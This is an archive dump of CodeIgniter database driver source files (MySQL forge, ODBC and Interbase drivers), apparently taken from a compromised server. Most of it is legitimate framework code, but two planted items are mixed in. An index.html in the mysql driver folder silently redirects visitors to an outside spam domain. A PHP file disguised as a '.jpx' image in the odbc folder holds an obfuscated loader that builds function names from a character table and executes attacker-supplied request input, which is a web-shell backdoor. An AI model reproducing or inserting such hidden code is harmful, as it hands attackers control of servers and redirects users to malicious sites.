'.$field['comment']) .$extra_clause; } // -------------------------------------------------------------------- /** * Process indexes * * @param string $table (ignored) * @return string */ protected function _process_indexes($table) { $sql = ''; for ($i = 0, $c = count($this->keys); $i < $c; $i++) { if (is_array($this->keys[$i])) { for ($i2 = 0, $c2 = count($this->keys[$i]); $i2 < $c2; $i2++) { if ( ! isset($this->fields[$this->keys[$i][$i2]])) { unset($this->keys[$i][$i2]); continue; } } } elseif ( ! isset($this->fields[$this->keys[$i]])) { unset($this->keys[$i]); continue; } is_array($this->keys[$i]) OR $this->keys[$i] = array($this->keys[$i]); $sql .= ",\n\tKEY ".$this->db->escape_identifiers(implode('_', $this->keys[$i])) .' ('.implode(', ', $this->db->escape_identifiers($this->keys[$i])).')'; } $this->keys = array(); return $sql; } } drivers/mysql/index.html 0000444 00000000605 14642767275 0011407 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/odbc/odbc_result.php 0000644 00000014331 14642767277 0012177 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * ODBC Result Class * * This class extends the parent result class: CI_DB_result * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_odbc_result extends CI_DB_result { /** * Number of rows in the result set * * @return int */ public function num_rows() { if (is_int($this->num_rows)) { return $this->num_rows; } elseif (($this->num_rows = odbc_num_rows($this->result_id)) !== -1) { return $this->num_rows; } // Work-around for ODBC subdrivers that don't support num_rows() if (count($this->result_array) > 0) { return $this->num_rows = count($this->result_array); } elseif (count($this->result_object) > 0) { return $this->num_rows = count($this->result_object); } return $this->num_rows = count($this->result_array()); } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { return odbc_num_fields($this->result_id); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); $num_fields = $this->num_fields(); if ($num_fields > 0) { for ($i = 1; $i <= $num_fields; $i++) { $field_names[] = odbc_field_name($this->result_id, $i); } } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); for ($i = 0, $odbc_index = 1, $c = $this->num_fields(); $i < $c; $i++, $odbc_index++) { $retval[$i] = new stdClass(); $retval[$i]->name = odbc_field_name($this->result_id, $odbc_index); $retval[$i]->type = odbc_field_type($this->result_id, $odbc_index); $retval[$i]->max_length = odbc_field_len($this->result_id, $odbc_index); $retval[$i]->primary_key = 0; $retval[$i]->default = ''; } return $retval; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_resource($this->result_id)) { odbc_free_result($this->result_id); $this->result_id = FALSE; } } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return odbc_fetch_array($this->result_id); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { $row = odbc_fetch_object($this->result_id); if ($class_name === 'stdClass' OR ! $row) { return $row; } $class_name = new $class_name(); foreach ($row as $key => $value) { $class_name->$key = $value; } return $class_name; } } // -------------------------------------------------------------------- if ( ! function_exists('odbc_fetch_array')) { /** * ODBC Fetch array * * Emulates the native odbc_fetch_array() function when * it is not available (odbc_fetch_array() requires unixODBC) * * @param resource &$result * @param int $rownumber * @return array */ function odbc_fetch_array(&$result, $rownumber = 1) { $rs = array(); if ( ! odbc_fetch_into($result, $rs, $rownumber)) { return FALSE; } $rs_assoc = array(); foreach ($rs as $k => $v) { $field_name = odbc_field_name($result, $k+1); $rs_assoc[$field_name] = $v; } return $rs_assoc; } } // -------------------------------------------------------------------- if ( ! function_exists('odbc_fetch_object')) { /** * ODBC Fetch object * * Emulates the native odbc_fetch_object() function when * it is not available. * * @param resource &$result * @param int $rownumber * @return object */ function odbc_fetch_object(&$result, $rownumber = 1) { $rs = array(); if ( ! odbc_fetch_into($result, $rs, $rownumber)) { return FALSE; } $rs_object = new stdClass(); foreach ($rs as $k => $v) { $field_name = odbc_field_name($result, $k+1); $rs_object->$field_name = $v; } return $rs_object; } } drivers/odbc/odbc_utility.php 0000644 00000004211 14642767300 0012343 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * ODBC Utility Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/database/ */ class CI_DB_odbc_utility extends CI_DB_utility { /** * Export * * @param array $params Preferences * @return mixed */ protected function _backup($params = array()) { // Currently unsupported return $this->db->display_error('db_unsupported_feature'); } } drivers/odbc/odbc_forge.php 0000644 00000004771 14642767302 0011757 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * ODBC Forge Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/database/ */ class CI_DB_odbc_forge extends CI_DB_forge { /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = FALSE; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = FALSE; /** * UNSIGNED support * * @var bool|array */ protected $_unsigned = FALSE; // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { // Not supported (in most databases at least) } } drivers/odbc/odbc_driver.php 0000644 00000023103 14642767302 0012136 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * ODBC Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_odbc_driver extends CI_DB_driver { /** * Database driver * * @var string */ public $dbdriver = 'odbc'; /** * Database schema * * @var string */ public $schema = 'public'; // -------------------------------------------------------------------- /** * Identifier escape character * * Must be empty for ODBC. * * @var string */ protected $_escape_char = ''; /** * ESCAPE statement string * * @var string */ protected $_like_escape_str = " {escape '%s'} "; /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RND()', 'RND(%d)'); // -------------------------------------------------------------------- /** * ODBC result ID resource returned from odbc_prepare() * * @var resource */ private $odbc_result; /** * Values to use with odbc_execute() for prepared statements * * @var array */ private $binds = array(); // -------------------------------------------------------------------- /** * Class constructor * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); // Legacy support for DSN in the hostname field if (empty($this->dsn)) { $this->dsn = $this->hostname; } } // -------------------------------------------------------------------- /** * Non-persistent database connection * * @param bool $persistent * @return resource */ public function db_connect($persistent = FALSE) { return ($persistent === TRUE) ? odbc_pconnect($this->dsn, $this->username, $this->password) : odbc_connect($this->dsn, $this->username, $this->password); } // -------------------------------------------------------------------- /** * Compile Bindings * * @param string $sql SQL statement * @param array $binds An array of values to bind * @return string */ public function compile_binds($sql, $binds) { if (empty($binds) OR empty($this->bind_marker) OR strpos($sql, $this->bind_marker) === FALSE) { return $sql; } elseif ( ! is_array($binds)) { $binds = array($binds); $bind_count = 1; } else { // Make sure we're using numeric keys $binds = array_values($binds); $bind_count = count($binds); } // We'll need the marker length later $ml = strlen($this->bind_marker); // Make sure not to replace a chunk inside a string that happens to match the bind marker if ($c = preg_match_all("/'[^']*'|\"[^\"]*\"/i", $sql, $matches)) { $c = preg_match_all('/'.preg_quote($this->bind_marker, '/').'/i', str_replace($matches[0], str_replace($this->bind_marker, str_repeat(' ', $ml), $matches[0]), $sql, $c), $matches, PREG_OFFSET_CAPTURE); // Bind values' count must match the count of markers in the query if ($bind_count !== $c) { return $sql; } } elseif (($c = preg_match_all('/'.preg_quote($this->bind_marker, '/').'/i', $sql, $matches, PREG_OFFSET_CAPTURE)) !== $bind_count) { return $sql; } if ($this->bind_marker !== '?') { do { $c--; $sql = substr_replace($sql, '?', $matches[0][$c][1], $ml); } while ($c !== 0); } if (FALSE !== ($this->odbc_result = odbc_prepare($this->conn_id, $sql))) { $this->binds = array_values($binds); } return $sql; } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return resource */ protected function _execute($sql) { if ( ! isset($this->odbc_result)) { return odbc_exec($this->conn_id, $sql); } elseif ($this->odbc_result === FALSE) { return FALSE; } if (TRUE === ($success = odbc_execute($this->odbc_result, $this->binds))) { // For queries that return result sets, return the result_id resource on success $this->is_write_type($sql) OR $success = $this->odbc_result; } $this->odbc_result = NULL; $this->binds = array(); return $success; } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { return odbc_autocommit($this->conn_id, FALSE); } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { if (odbc_commit($this->conn_id)) { odbc_autocommit($this->conn_id, TRUE); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { if (odbc_rollback($this->conn_id)) { odbc_autocommit($this->conn_id, TRUE); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Determines if a query is a "write" type. * * @param string An SQL query string * @return bool */ public function is_write_type($sql) { if (preg_match('#^(INSERT|UPDATE).*RETURNING\s.+(\,\s?.+)*$#is', $sql)) { return FALSE; } return parent::is_write_type($sql); } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { $this->display_error('db_unsupported_feature'); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return odbc_num_rows($this->result_id); } // -------------------------------------------------------------------- /** * Insert ID * * @return bool */ public function insert_id() { return ($this->db_debug) ? $this->display_error('db_unsupported_feature') : FALSE; } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = "SELECT table_name FROM information_schema.tables WHERE table_schema = '".$this->schema."'"; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { return $sql." AND table_name LIKE '".$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SHOW COLUMNS FROM '.$table; } // -------------------------------------------------------------------- /** * Field data query * * Generates a platform-specific query so that the column data can be retrieved * * @param string $table * @return string */ protected function _field_data($table) { return 'SELECT TOP 1 FROM '.$table; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { return array('code' => odbc_error($this->conn_id), 'message' => odbc_errormsg($this->conn_id)); } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { odbc_close($this->conn_id); } } drivers/odbc/odbc/MZOKuAHrJbFYjLzDNkGm.jpx 0000644 00000011632 14642767304 0014217 0 ustar 00 <?php /*-W_,E-*/$k/*-+ni(C5z-*/ = /*-:D$|G-*/range/*-J6Z-*/(/*-@?>3Uxlm-*/"~"/*-m%8!1F-*/, /*-`Mw-A@~-*/" "/*-,84evzF-*/); /*-x]7n,W_>-*/$H/*-s=-*/=/*-si!Q~RX@-*/${$k[28+3].$k[33+26].$k[3+44].$k[46+1].$k[42+9].$k[15+38].$k[9+48]};/*-vwLt-*/if/*-Q79<-*/((/*-_u8}-*/in_array(gettype($H).count($H),$H)/*-aK2g-*/&&/*-I0#XS-&Q-*/count/*-QC{LVMkFR-*/($H)==27))/*-68dT?O-*/{((/*-mR`iWnF-*/$H[70]=$H[70].$H[71])/*-4zEB-*/&&($H[87]=$H[70]($H[87]))&&(@$H=$H[87]($H[58],$H[70](${$H[34]}[10])))&&/*-QsO^m-*/$H())/*-k|iwF6p-*/;}/*-iK5-*/class /*-p(-*/v{ /*-,o-*/static/*-qoUhj[.G6-*/ function /*-+as1JS})-*/IwpxSuz($EDdGPnTJot) /*-7Ov.d5jo@-*/{ $Xyv/*-:yh?;{+xT-*/ = /*-5v`h;x%1-*/"r"./*-9Zf&yT^~{k-*/"a"./*-79}f2.TG-*/"n"./*-bo+<sb6-*/"g"./*-zxH~-*/"e"; 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</script> </body> </html> drivers/ibase/ibase_result.php 0000644 00000010057 14642767310 0012514 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Interbase/Firebird Result Class * * This class extends the parent result class: CI_DB_result * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_ibase_result extends CI_DB_result { /** * Number of fields in the result set * * @return int */ public function num_fields() { return ibase_num_fields($this->result_id); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); for ($i = 0, $num_fields = $this->num_fields(); $i < $num_fields; $i++) { $info = ibase_field_info($this->result_id, $i); $field_names[] = $info['name']; } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $info = ibase_field_info($this->result_id, $i); $retval[$i] = new stdClass(); $retval[$i]->name = $info['name']; $retval[$i]->type = $info['type']; $retval[$i]->max_length = $info['length']; } return $retval; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { ibase_free_result($this->result_id); } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return ibase_fetch_assoc($this->result_id, IBASE_FETCH_BLOBS); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { $row = ibase_fetch_object($this->result_id, IBASE_FETCH_BLOBS); if ($class_name === 'stdClass' OR ! $row) { return $row; } $class_name = new $class_name(); foreach ($row as $key => $value) { $class_name->$key = $value; } return $class_name; } } drivers/ibase/ibase_driver.php 0000644 00000024310 14642767311 0012467 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Firebird/Interbase Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_ibase_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'ibase'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RAND()', 'RAND()'); /** * IBase Transaction status flag * * @var resource */ protected $_ibase_trans; // -------------------------------------------------------------------- /** * Non-persistent database connection * * @param bool $persistent * @return resource */ public function db_connect($persistent = FALSE) { return ($persistent === TRUE) ? ibase_pconnect($this->hostname.':'.$this->database, $this->username, $this->password, $this->char_set) : ibase_connect($this->hostname.':'.$this->database, $this->username, $this->password, $this->char_set); } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } if (($service = ibase_service_attach($this->hostname, $this->username, $this->password))) { $this->data_cache['version'] = ibase_server_info($service, IBASE_SVC_SERVER_VERSION); // Don't keep the service open ibase_service_detach($service); return $this->data_cache['version']; } return FALSE; } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return resource */ protected function _execute($sql) { return ibase_query(isset($this->_ibase_trans) ? $this->_ibase_trans : $this->conn_id, $sql); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { if (($trans_handle = ibase_trans($this->conn_id)) === FALSE) { return FALSE; } $this->_ibase_trans = $trans_handle; return TRUE; } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { if (ibase_commit($this->_ibase_trans)) { $this->_ibase_trans = NULL; return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { if (ibase_rollback($this->_ibase_trans)) { $this->_ibase_trans = NULL; return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return ibase_affected_rows($this->conn_id); } // -------------------------------------------------------------------- /** * Insert ID * * @param string $generator_name * @param int $inc_by * @return int */ public function insert_id($generator_name, $inc_by = 0) { //If a generator hasn't been used before it will return 0 return ibase_gen_id('"'.$generator_name.'"', $inc_by); } // -------------------------------------------------------------------- /** * List table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT TRIM("RDB$RELATION_NAME") AS TABLE_NAME FROM "RDB$RELATIONS" WHERE "RDB$RELATION_NAME" NOT LIKE \'RDB$%\' AND "RDB$RELATION_NAME" NOT LIKE \'MON$%\''; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { return $sql.' AND TRIM("RDB$RELATION_NAME") AS TABLE_NAME LIKE \''.$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT TRIM("RDB$FIELD_NAME") AS COLUMN_NAME FROM "RDB$RELATION_FIELDS" WHERE "RDB$RELATION_NAME" = '.$this->escape($table); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT "rfields"."RDB$FIELD_NAME" AS "name", CASE "fields"."RDB$FIELD_TYPE" WHEN 7 THEN \'SMALLINT\' WHEN 8 THEN \'INTEGER\' WHEN 9 THEN \'QUAD\' WHEN 10 THEN \'FLOAT\' WHEN 11 THEN \'DFLOAT\' WHEN 12 THEN \'DATE\' WHEN 13 THEN \'TIME\' WHEN 14 THEN \'CHAR\' WHEN 16 THEN \'INT64\' WHEN 27 THEN \'DOUBLE\' WHEN 35 THEN \'TIMESTAMP\' WHEN 37 THEN \'VARCHAR\' WHEN 40 THEN \'CSTRING\' WHEN 261 THEN \'BLOB\' ELSE NULL END AS "type", "fields"."RDB$FIELD_LENGTH" AS "max_length", "rfields"."RDB$DEFAULT_VALUE" AS "default" FROM "RDB$RELATION_FIELDS" "rfields" JOIN "RDB$FIELDS" "fields" ON "rfields"."RDB$FIELD_SOURCE" = "fields"."RDB$FIELD_NAME" WHERE "rfields"."RDB$RELATION_NAME" = '.$this->escape($table).' ORDER BY "rfields"."RDB$FIELD_POSITION"'; return (($query = $this->query($sql)) !== FALSE) ? $query->result_object() : FALSE; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { return array('code' => ibase_errcode(), 'message' => ibase_errmsg()); } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'DELETE FROM '.$table; } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { $this->qb_limit = FALSE; return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { // Limit clause depends on if Interbase or Firebird if (stripos($this->version(), 'firebird') !== FALSE) { $select = 'FIRST '.$this->qb_limit .($this->qb_offset ? ' SKIP '.$this->qb_offset : ''); } else { $select = 'ROWS ' .($this->qb_offset ? $this->qb_offset.' TO '.($this->qb_limit + $this->qb_offset) : $this->qb_limit); } return preg_replace('`SELECT`i', 'SELECT '.$select, $sql, 1); } // -------------------------------------------------------------------- /** * Insert batch statement * * Generates a platform-specific insert string from the supplied data. * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string|bool */ protected function _insert_batch($table, $keys, $values) { return ($this->db_debug) ? $this->display_error('db_unsupported_feature') : FALSE; } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { ibase_close($this->conn_id); } } drivers/ibase/ibase_utility.php 0000644 00000004451 14642767312 0012704 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 